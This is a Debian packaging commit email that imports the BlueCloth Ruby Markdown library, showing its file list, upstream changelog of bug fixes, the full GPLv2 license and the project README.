[Pkg-ruby-extras-maintainers] r535 - in packages: .
libbluecloth-ruby libbluecloth-ruby/trunk
libbluecloth-ruby/trunk/bin libbluecloth-ruby/trunk/debian
libbluecloth-ruby/trunk/lib libbluecloth-ruby/trunk/tests
libbluecloth-ruby/trunk/tests/data
Arnaud Cornet
nohar-guest at costa.debian.org
Thu May 11 22:53:37 UTC 2006
Author: nohar-guest
Date: 2006-05-11 22:53:35 +0000 (Thu, 11 May 2006)
New Revision: 535
Added:
packages/libbluecloth-ruby/
packages/libbluecloth-ruby/tags/
packages/libbluecloth-ruby/trunk/
packages/libbluecloth-ruby/trunk/CHANGES
packages/libbluecloth-ruby/trunk/LICENSE
packages/libbluecloth-ruby/trunk/README
packages/libbluecloth-ruby/trunk/bin/
packages/libbluecloth-ruby/trunk/bin/bluecloth
packages/libbluecloth-ruby/trunk/debian/
packages/libbluecloth-ruby/trunk/debian/changelog
packages/libbluecloth-ruby/trunk/debian/compat
packages/libbluecloth-ruby/trunk/debian/control
packages/libbluecloth-ruby/trunk/debian/control.in
packages/libbluecloth-ruby/trunk/debian/copyright
packages/libbluecloth-ruby/trunk/debian/libbluecloth-ruby1.8.install
packages/libbluecloth-ruby/trunk/debian/rules
packages/libbluecloth-ruby/trunk/debian/watch
packages/libbluecloth-ruby/trunk/install.rb
packages/libbluecloth-ruby/trunk/lib/
packages/libbluecloth-ruby/trunk/lib/bluecloth.rb
packages/libbluecloth-ruby/trunk/test.rb
packages/libbluecloth-ruby/trunk/tests/
packages/libbluecloth-ruby/trunk/tests/00_Class.tests.rb
packages/libbluecloth-ruby/trunk/tests/05_Markdown.tests.rb
packages/libbluecloth-ruby/trunk/tests/10_Bug.tests.rb
packages/libbluecloth-ruby/trunk/tests/15_Contrib.tests.rb
packages/libbluecloth-ruby/trunk/tests/bctestcase.rb
packages/libbluecloth-ruby/trunk/tests/data/
packages/libbluecloth-ruby/trunk/tests/data/antsugar.txt
packages/libbluecloth-ruby/trunk/tests/data/ml-announce.txt
packages/libbluecloth-ruby/trunk/tests/data/re-overflow.txt
packages/libbluecloth-ruby/trunk/tests/data/re-overflow2.txt
packages/libbluecloth-ruby/trunk/utils.rb
Log:
[svn-inject] Installing original source of libbluecloth-ruby
Added: packages/libbluecloth-ruby/trunk/CHANGES
===================================================================
--- packages/libbluecloth-ruby/trunk/CHANGES 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/CHANGES 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,366 @@
+------------------------------------------------------------------------
+r69 | ged | 2004-08-24 22:27:15 -0700 (Tue, 24 Aug 2004) | 2 lines
+
+- Fixed bug introduced by the last bugfix, fixed tests that missed the new bug.
+
+------------------------------------------------------------------------
+r68 | ged | 2004-08-24 22:14:37 -0700 (Tue, 24 Aug 2004) | 3 lines
+
+- Tracked down and fixed another regexp engine overflow bug; added a new test,
+ datafile, and minimal testcase that illustrates it.
+
+------------------------------------------------------------------------
+r66 | ged | 2004-08-24 07:57:17 -0700 (Tue, 24 Aug 2004) | 1 line
+
+- Updated to v1.0.0.
+------------------------------------------------------------------------
+r65 | ged | 2004-08-24 07:56:47 -0700 (Tue, 24 Aug 2004) | 1 line
+
+- Updated to v1.0.0.
+------------------------------------------------------------------------
+r64 | ged | 2004-08-24 07:53:32 -0700 (Tue, 24 Aug 2004) | 1 line
+
+- Updated to 20040824.
+------------------------------------------------------------------------
+r63 | ged | 2004-08-24 07:52:05 -0700 (Tue, 24 Aug 2004) | 3 lines
+
+- Added CHANGES.xml to ignore property for root directory.
+
+
+------------------------------------------------------------------------
+r62 | ged | 2004-08-24 07:48:44 -0700 (Tue, 24 Aug 2004) | 7 lines
+
+- Brought list of block-level tags up to date with Markdown 1.0's list
+- Propagated fix for overflow to the other two block-match patterns.
+- Abstracted list-item patterns out into constants to closer match Markdown's
+ code and to expose them for use in other code.
+- Fixed indentation of <pre> blocks inside blockquotes.
+- Added new tests for all of the above.
+
+------------------------------------------------------------------------
+r61 | ged | 2004-08-22 12:28:23 -0700 (Sun, 22 Aug 2004) | 5 lines
+
+- Fixed re-engine overflow for all tested cases (thanks to Martin Chase
+ <stillflame at FaerieMUD.org> for the fix).
+- Wrote some additional tests to be sure the block-level html escaper is working
+ after the above fix.
+
+------------------------------------------------------------------------
+r60 | ged | 2004-08-22 12:26:25 -0700 (Sun, 22 Aug 2004) | 2 lines
+
+- Removed skip of overflow test.
+
+------------------------------------------------------------------------
+r59 | ged | 2004-08-22 12:24:35 -0700 (Sun, 22 Aug 2004) | 2 lines
+
+- "Fixed" the test case so it overflows again.
+
+------------------------------------------------------------------------
+r58 | deveiant | 2004-08-08 22:12:02 -0700 (Sun, 08 Aug 2004) | 2 lines
+
+- Updated to 20040808.
+
+------------------------------------------------------------------------
+r57 | deveiant | 2004-08-08 18:16:14 -0700 (Sun, 08 Aug 2004) | 2 lines
+
+- Modified to work from wherever the test is run (RPA compat).
+
+------------------------------------------------------------------------
+r56 | deveiant | 2004-08-08 18:15:57 -0700 (Sun, 08 Aug 2004) | 2 lines
+
+- Modified to work from wherever the test is run (RPA compat).
+
+------------------------------------------------------------------------
+r55 | deveiant | 2004-08-08 18:15:27 -0700 (Sun, 08 Aug 2004) | 2 lines
+
+- Updated version attribute.
+
+------------------------------------------------------------------------
+r54 | deveiant | 2004-08-08 18:14:58 -0700 (Sun, 08 Aug 2004) | 2 lines
+
+- Brought markdown syntax up to date with Markdown 1.0fc1.
+
+------------------------------------------------------------------------
+r53 | deveiant | 2004-08-08 18:13:16 -0700 (Sun, 08 Aug 2004) | 2 lines
+
+- Made the require-header work wherever the test is run from (RPA compat).
+
+------------------------------------------------------------------------
+r51 | deveiant | 2004-06-21 08:20:59 -0700 (Mon, 21 Jun 2004) | 4 lines
+
+- Brought up to date with Markdown 1.0b7.
+
+- Ignore list properties on the base and docs directories updated.
+
+------------------------------------------------------------------------
+r50 | deveiant | 2004-06-02 06:37:15 -0700 (Wed, 02 Jun 2004) | 1 line
+
+- Commented out non-functional --output option for now.
+------------------------------------------------------------------------
+r49 | deveiant | 2004-06-01 20:30:18 -0700 (Tue, 01 Jun 2004) | 2 lines
+
+Initial checkin.
+
+------------------------------------------------------------------------
+r48 | deveiant | 2004-06-01 20:29:31 -0700 (Tue, 01 Jun 2004) | 2 lines
+
+- Added test for bug #574.
+
+------------------------------------------------------------------------
+r47 | deveiant | 2004-06-01 20:21:04 -0700 (Tue, 01 Jun 2004) | 8 lines
+
+- Test for bug #620 - Unresolved reference-style links doubled the character
+ immediately after them.
+
+- Added additional test email addresses, including ones that use extended latin
+ charset.
+
+- Added bug reference to a test.
+
+------------------------------------------------------------------------
+r46 | deveiant | 2004-06-01 20:19:41 -0700 (Tue, 01 Jun 2004) | 4 lines
+
+- Fix for bug #620 - Unresolved reference-style links doubled the character
+ immediately after them.
+
+
+------------------------------------------------------------------------
+r45 | deveiant | 2004-05-13 19:43:17 -0700 (Thu, 13 May 2004) | 4 lines
+
+- Added tests for bug #568 (Two sets of bold text on one line doesn't render
+ properly). Tests confirmed that two sets of bold text did work, but single
+ characters being bolded does not.
+
+------------------------------------------------------------------------
+r44 | deveiant | 2004-05-13 19:41:52 -0700 (Thu, 13 May 2004) | 2 lines
+
+- Fixed bug with bolding of single characters (bug #568).
+
+------------------------------------------------------------------------
+r43 | deveiant | 2004-05-04 07:35:11 -0700 (Tue, 04 May 2004) | 2 lines
+
+- Additional fixes and tests for bug #537.
+
+------------------------------------------------------------------------
+r41 | deveiant | 2004-04-29 20:40:38 -0700 (Thu, 29 Apr 2004) | 2 lines
+
+- Added bin/ directory.
+
+------------------------------------------------------------------------
+r40 | deveiant | 2004-04-29 20:40:04 -0700 (Thu, 29 Apr 2004) | 2 lines
+
+- Set date.
+
+------------------------------------------------------------------------
+r39 | deveiant | 2004-04-29 20:39:24 -0700 (Thu, 29 Apr 2004) | 3 lines
+
+- Added test for Bug #543 (Safe mode does not work when there are no left
+ angle-brackets in the source).
+
+------------------------------------------------------------------------
+r38 | deveiant | 2004-04-29 20:38:42 -0700 (Thu, 29 Apr 2004) | 5 lines
+
+- Added test for email address encoding (Bug #537).
+
+- Added test for bug #541 (Leading line of codeblock with more than one tab
+ width of indent mistakenly unindented).
+
+------------------------------------------------------------------------
+r37 | deveiant | 2004-04-29 20:35:26 -0700 (Thu, 29 Apr 2004) | 5 lines
+
+- Fix for bug #543 (Safe mode does not work when there are no left
+ angle-brackets in the source).
+
+
+
+------------------------------------------------------------------------
+r36 | deveiant | 2004-04-29 20:33:01 -0700 (Thu, 29 Apr 2004) | 5 lines
+
+- Fix for bug #541 (Leading line of codeblock with more than one tab
+ width of indent mistakenly unindented)
+
+
+
+------------------------------------------------------------------------
+r35 | deveiant | 2004-04-29 20:31:37 -0700 (Thu, 29 Apr 2004) | 3 lines
+
+- Fix for bug #537. Fix suggested by Marek Janukowicz.
+
+
+------------------------------------------------------------------------
+r32 | deveiant | 2004-04-22 21:47:42 -0700 (Thu, 22 Apr 2004) | 2 lines
+
+- Temporary fixes until I have time to integrate SVN stuff.
+
+------------------------------------------------------------------------
+r31 | deveiant | 2004-04-22 21:46:51 -0700 (Thu, 22 Apr 2004) | 2 lines
+
+- Version bump.
+
+------------------------------------------------------------------------
+r30 | deveiant | 2004-04-22 21:46:15 -0700 (Thu, 22 Apr 2004) | 2 lines
+
+- Brought in line with most-recent release.
+
+------------------------------------------------------------------------
+r29 | deveiant | 2004-04-22 21:40:50 -0700 (Thu, 22 Apr 2004) | 2 lines
+
+- Version bump.
+
+------------------------------------------------------------------------
+r28 | deveiant | 2004-04-22 21:39:05 -0700 (Thu, 22 Apr 2004) | 4 lines
+
+- Bugfixes for bugs 524 and 525. Thanks to David Heinemeier Hansson and Javier
+ Goizueta for bug reports and fixes.
+
+
+------------------------------------------------------------------------
+r27 | deveiant | 2004-04-22 21:34:31 -0700 (Thu, 22 Apr 2004) | 2 lines
+
+- Test for bugs 524 and 525
+
+------------------------------------------------------------------------
+r25 | deveiant | 2004-04-15 18:55:19 -0700 (Thu, 15 Apr 2004) | 1 line
+
+- Corrected version
+------------------------------------------------------------------------
+r24 | deveiant | 2004-04-15 18:53:52 -0700 (Thu, 15 Apr 2004) | 2 lines
+
+- Brought Version up to date.
+
+------------------------------------------------------------------------
+r23 | deveiant | 2004-04-15 18:52:17 -0700 (Thu, 15 Apr 2004) | 1 line
+
+- Updated ignore metadata.
+------------------------------------------------------------------------
+r22 | deveiant | 2004-04-15 18:51:14 -0700 (Thu, 15 Apr 2004) | 2 lines
+
+Initial checkin.
+
+------------------------------------------------------------------------
+r21 | deveiant | 2004-04-15 18:50:31 -0700 (Thu, 15 Apr 2004) | 6 lines
+
+- Changed tests/ pattern to catch all tests.
+
+- Added CHANGES.
+
+- Dropped MANIFEST.
+
+------------------------------------------------------------------------
+r20 | deveiant | 2004-04-15 18:49:46 -0700 (Thu, 15 Apr 2004) | 2 lines
+
+- Added missing dependency check for devel-logger.
+
+------------------------------------------------------------------------
+r19 | deveiant | 2004-04-15 18:49:12 -0700 (Thu, 15 Apr 2004) | 8 lines
+
+- Added contributors section to the header.
+
+- Integrated html- and style-filtering patch from Florian Gross <flgr at ccan.de>.
+
+- Corrections to RedCloth-compatibility.
+
+- Removed log from renderstate, as it's an attribute of the string itself.
+
+------------------------------------------------------------------------
+r18 | deveiant | 2004-04-15 18:48:27 -0700 (Thu, 15 Apr 2004) | 8 lines
+
+- Added contributors section to the header.
+
+- Integrated html- and style-filtering patch from Florian Gross <flgr at ccan.de>.
+
+- Corrections to RedCloth-compatibility.
+
+- Removed log from renderstate, as it's an attribute of the string itself.
+
+------------------------------------------------------------------------
+r15 | deveiant | 2004-04-11 23:02:54 -0700 (Sun, 11 Apr 2004) | 3 lines
+
+- Added keywords.
+
+
+------------------------------------------------------------------------
+r14 | deveiant | 2004-04-11 23:01:40 -0700 (Sun, 11 Apr 2004) | 2 lines
+
+- Updated comments/added to-do marker.
+
+------------------------------------------------------------------------
+r13 | deveiant | 2004-04-11 22:47:16 -0700 (Sun, 11 Apr 2004) | 3 lines
+
+- Updated ignore list.
+
+
+------------------------------------------------------------------------
+r12 | deveiant | 2004-04-11 22:46:49 -0700 (Sun, 11 Apr 2004) | 3 lines
+
+Initial checkin.
+
+
+------------------------------------------------------------------------
+r11 | deveiant | 2004-04-11 22:45:07 -0700 (Sun, 11 Apr 2004) | 3 lines
+
+- Added a time() function for timing bits of code.
+
+
+------------------------------------------------------------------------
+r10 | deveiant | 2004-04-11 22:43:10 -0700 (Sun, 11 Apr 2004) | 3 lines
+
+- Changed keyword constants from CVS to SVN keywords.
+
+
+------------------------------------------------------------------------
+r9 | deveiant | 2004-04-11 22:29:37 -0700 (Sun, 11 Apr 2004) | 3 lines
+
+- Changed location of keyword stuff, added URL keyword.
+
+
+------------------------------------------------------------------------
+r8 | deveiant | 2004-04-11 22:26:38 -0700 (Sun, 11 Apr 2004) | 3 lines
+
+- Added the rest of the content.
+
+
+------------------------------------------------------------------------
+r7 | deveiant | 2004-04-11 22:21:47 -0700 (Sun, 11 Apr 2004) | 12 lines
+
+- Fixed license in header
+
+- Fixed error message in exception class with no second argument.
+
+- Removed unnecessary (and slllooowww) 'm' flag from HTML block matching
+ patterns.
+
+- Fixed code-span scanning to match spans that occur at the beginning of the
+ line.
+
+- Fixed error in code-span exception case.
+
+------------------------------------------------------------------------
+r6 | deveiant | 2004-04-11 22:17:45 -0700 (Sun, 11 Apr 2004) | 3 lines
+
+- Renamed to reflect repurposing.
+
+
+------------------------------------------------------------------------
+r5 | deveiant | 2004-04-11 22:17:08 -0700 (Sun, 11 Apr 2004) | 2 lines
+
+- Converted to bug-testing testcase.
+
+------------------------------------------------------------------------
+r4 | deveiant | 2004-04-11 22:15:34 -0700 (Sun, 11 Apr 2004) | 2 lines
+
+- Added some mode code span tests to catch bugs.
+
+------------------------------------------------------------------------
+r3 | deveiant | 2004-04-10 21:40:29 -0700 (Sat, 10 Apr 2004) | 2 lines
+
+- Updated dist/install utilities/libs.
+
+------------------------------------------------------------------------
+r2 | deveiant | 2004-04-10 13:36:46 -0700 (Sat, 10 Apr 2004) | 1 line
+
+Removed markdown reference source
+------------------------------------------------------------------------
+r1 | deveiant | 2004-04-10 13:35:02 -0700 (Sat, 10 Apr 2004) | 1 line
+
+Initial checkin
Added: packages/libbluecloth-ruby/trunk/LICENSE
===================================================================
--- packages/libbluecloth-ruby/trunk/LICENSE 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/LICENSE 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,340 @@
+ GNU GENERAL PUBLIC LICENSE
+ Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.
+ 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The licenses for most software are designed to take away your
+freedom to share and change it. By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users. This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it. (Some other Free Software Foundation software is covered by
+the GNU Library General Public License instead.) You can apply it to
+your programs, too.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+ To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+ For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have. You must make sure that they, too, receive or can get the
+source code. And you must show them these terms so they know their
+rights.
+
+ We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+ Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software. If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+ Finally, any free program is threatened constantly by software
+patents. We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary. To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ GNU GENERAL PUBLIC LICENSE
+ TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+ 0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License. The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language. (Hereinafter, translation is included without limitation in
+the term "modification".) Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope. The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+ 1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+ 2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+ a) You must cause the modified files to carry prominent notices
+ stating that you changed the files and the date of any change.
+
+ b) You must cause any work that you distribute or publish, that in
+ whole or in part contains or is derived from the Program or any
+ part thereof, to be licensed as a whole at no charge to all third
+ parties under the terms of this License.
+
+ c) If the modified program normally reads commands interactively
+ when run, you must cause it, when started running for such
+ interactive use in the most ordinary way, to print or display an
+ announcement including an appropriate copyright notice and a
+ notice that there is no warranty (or else, saying that you provide
+ a warranty) and that users may redistribute the program under
+ these conditions, and telling the user how to view a copy of this
+ License. (Exception: if the Program itself is interactive but
+ does not normally print such an announcement, your work based on
+ the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole. If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works. But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+ 3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+ a) Accompany it with the complete corresponding machine-readable
+ source code, which must be distributed under the terms of Sections
+ 1 and 2 above on a medium customarily used for software interchange; or,
+
+ b) Accompany it with a written offer, valid for at least three
+ years, to give any third party, for a charge no more than your
+ cost of physically performing source distribution, a complete
+ machine-readable copy of the corresponding source code, to be
+ distributed under the terms of Sections 1 and 2 above on a medium
+ customarily used for software interchange; or,
+
+ c) Accompany it with the information you received as to the offer
+ to distribute corresponding source code. (This alternative is
+ allowed only for noncommercial distribution and only if you
+ received the program in object code or executable form with such
+ an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it. For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable. However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+ 4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License. Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+ 5. You are not required to accept this License, since you have not
+signed it. However, nothing else grants you permission to modify or
+distribute the Program or its derivative works. These actions are
+prohibited by law if you do not accept this License. Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+ 6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions. You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+ 7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all. For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices. Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+ 8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded. In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+ 9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation. If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+ 10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission. For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this. Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+ NO WARRANTY
+
+ 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+ 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+ END OF TERMS AND CONDITIONS
+
+ How to Apply These Terms to Your New Programs
+
+ If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+ To do so, attach the following notices to the program. It is safest
+to attach them to the start of each source file to most effectively
+convey the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+ <one line to give the program's name and a brief idea of what it does.>
+ Copyright (C) <year> <name of author>
+
+ This program is free software; you can redistribute it and/or modify
+ it under the terms of the GNU General Public License as published by
+ the Free Software Foundation; either version 2 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ GNU General Public License for more details.
+
+ You should have received a copy of the GNU General Public License
+ along with this program; if not, write to the Free Software
+ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+
+
+Also add information on how to contact you by electronic and paper mail.
+
+If the program is interactive, make it output a short notice like this
+when it starts in an interactive mode:
+
+ Gnomovision version 69, Copyright (C) year name of author
+ Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+ This is free software, and you are welcome to redistribute it
+ under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License. Of course, the commands you use may
+be called something other than `show w' and `show c'; they could even be
+mouse-clicks or menu items--whatever suits your program.
+
+You should also get your employer (if you work as a programmer) or your
+school, if any, to sign a "copyright disclaimer" for the program, if
+necessary. Here is a sample; alter the names:
+
+ Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+ `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+ <signature of Ty Coon>, 1 April 1989
+ Ty Coon, President of Vice
+
+This General Public License does not permit incorporating your program into
+proprietary programs. If your program is a subroutine library, you may
+consider it more useful to permit linking proprietary applications with the
+library. If this is what you want to do, use the GNU Library General
+Public License instead of this License.
Added: packages/libbluecloth-ruby/trunk/README
===================================================================
--- packages/libbluecloth-ruby/trunk/README 2006-05-10 14:50:06 UTC (rev 534)
+++ packages/libbluecloth-ruby/trunk/README 2006-05-11 22:53:35 UTC (rev 535)
@@ -0,0 +1,99 @@
+
+BlueCloth
+=========
+
+Version 1.0.0 - 2004/08/24
+
+Original version by John Gruber <http://daringfireball.net/>.
+Ruby port by Michael Granger <http://www.deveiate.org/>.
+
+BlueCloth is a Ruby implementation of [Markdown][1], a text-to-HTML conversion
+tool for web writers. To quote from the project page: Markdown allows you to
+write using an easy-to-read, easy-to-write plain text format, then convert it to
+structurally valid XHTML (or HTML).
+
+It borrows a naming convention and several helpings of interface from
+[Redcloth][2], [Why the Lucky Stiff][3]'s processor for a similar text-to-HTML
+conversion syntax called [Textile][4].
+
+
+Installation
+------------
+
+You can install this module either by running the included `install.rb` script,
+or by simply copying `lib/bluecloth.rb` to a directory in your load path.
+
+
+Dependencies
+------------
+
+BlueCloth uses the `StringScanner` class from the `strscan` library, which comes
+with Ruby 1.8.x and later or may be downloaded from the RAA for earlier
+versions, and the `logger` library, which is also included in 1.8.x and later.
+
+
+Example Usage
+-------------
+
+The BlueCloth class is a subclass of Ruby's String, and can be used thusly:
+
+ bc = BlueCloth::new( str )
+ puts bc.to_html
+
+This `README` file is an example of Markdown syntax. The sample program
+`bluecloth` in the `bin/` directory can be used to convert this (or any other)
+file with Markdown syntax into HTML:
+
+ $ bin/bluecloth README > README.html
+
+
+Acknowledgements
+----------------
+
+This library is a port of the canonical Perl one, and so owes most of its
+functionality to its author, John Gruber. The bugs in this code are most
+certainly an artifact of my porting it and not an artifact of the excellent code
+from which it is derived.
+
+It also, as mentioned before, borrows its API liberally from RedCloth, both for
+compatibility's sake, and because I think Why's code is beautiful. His excellent
+code and peerless prose have been an inspiration to me, and this module is
+intended as the sincerest flattery.
+
+Also contributing to any success this module may enjoy are those among my peers
+who have taken the time to help out, either by submitting patches, testing, or
+offering suggestions and review:
+
+* Martin Chase <stillflame at FaerieMUD.org>
+* Florian Gross <flgr at ccan.de>
+
+
+Author/Legal
+------------
+
+Original version:
+Copyright (c) 2003-2004 John Gruber
+<http://daringfireball.net/>
+All rights reserved.
+
+Ruby version:
+Copyright (c) 2004 The FaerieMUD Consortium
+
+BlueCloth is free software; you can redistribute it and/or modify it under the
+terms of the GNU General Public License as published by the Free Software
+Foundation; either version 2 of the License, or (at your option) any later
+version.
+
+BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+PARTICULAR PURPOSE. See the GNU General Public License for more details.
+
+
+ [1]: http://daringfireball.net/projects/markdown/
+ [2]: http://www.whytheluckystiff.net/ruby/redcloth/
